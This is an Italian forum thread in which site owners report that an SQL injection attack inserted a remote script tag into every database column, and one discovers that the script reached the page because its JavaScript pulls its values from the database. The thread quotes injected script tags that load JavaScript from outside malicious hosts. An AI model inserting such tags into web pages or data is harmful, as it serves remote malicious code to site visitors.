URGENTE "script src=http://www.bnradd.mobi/ngg.js"

[cheen77]

Ciao a tutti oggi mi sono accorto che il sito a cui sto lavorando
non funzionava, controllando il database mi sono accorto che tutte le colonne presentavano davanti ai dati (es. nome utente) lo scritp messo in oggetto...qualcuno sa di cosa si tratta..soluzioni..è grave??

NB: Con delle queri abbiamo risolto il problema cancellando lo script
pero abbiamo paura che si possa ripetere...

[Shores]

Si, la presenza di quello script significa che il vostro codice è vulnerabile alla SQL injection, dovete SUBITO correggerlo.

Ciao!

[sili]

Ciao a tutti,
oggi mi sono accorta che è successo lo stesso anche ad uno dei vecchi siti che controllo. Sono cosciente che il sito non è fatto per evitare le sql injection, però quello che non capisco è come sia possibile che a partire da delle sql injection, e quindi scrivendo la riga di script in vari record, possano modificare una parte del codice Javascript della pagina. Qui sotto le tre righe di codice Javascript presenti tutt'ora sul server nella pagina .asp:

if(visit == 1)
{
//newwindow=window.open('/promo1.htm','Tarif','scrollbars=no,width=350,heigh t=155');
newwindow=window.open('/pop_home.asp?id=1&flash=<%= flg_flash1%>','Tarif','scrollbars=no,width=<%=widt h1%>,height=<%=height1%>');
newwindow.creator=self;
}

qui di seguito le stesse righe visibili nel codice Html della pagina visualizzata dal browser del client:

if(visit == 1)
{
//newwindow=window.open('/promo1.htm','Tarif','scrollbars=no,width=350,heigh t=155');
newwindow=window.open('/pop_home.asp?id=1&flash=0','Tarif','scrollbars=no, width=350<script src=http://www.sdkj.ru/ngg.js></script>,height=270<script src=http://www.sdkj.ru/ngg.js></script>');
newwindow.creator=self;
}
questa è una funzione Javascript che apre una popup, ed è in testa alla pagina asp. Non mi pare possibile che prenda questo script da una delle tabelle modificate nel DB.

Mi aiutate a capire?
ciao
Sili VVoVe:

[sili]

OK, scusate, ho capito da sola!
le variabili vengono pescate dal DB. Molto semplice!!!

ciao e grazie a tutti lo stesso
Sili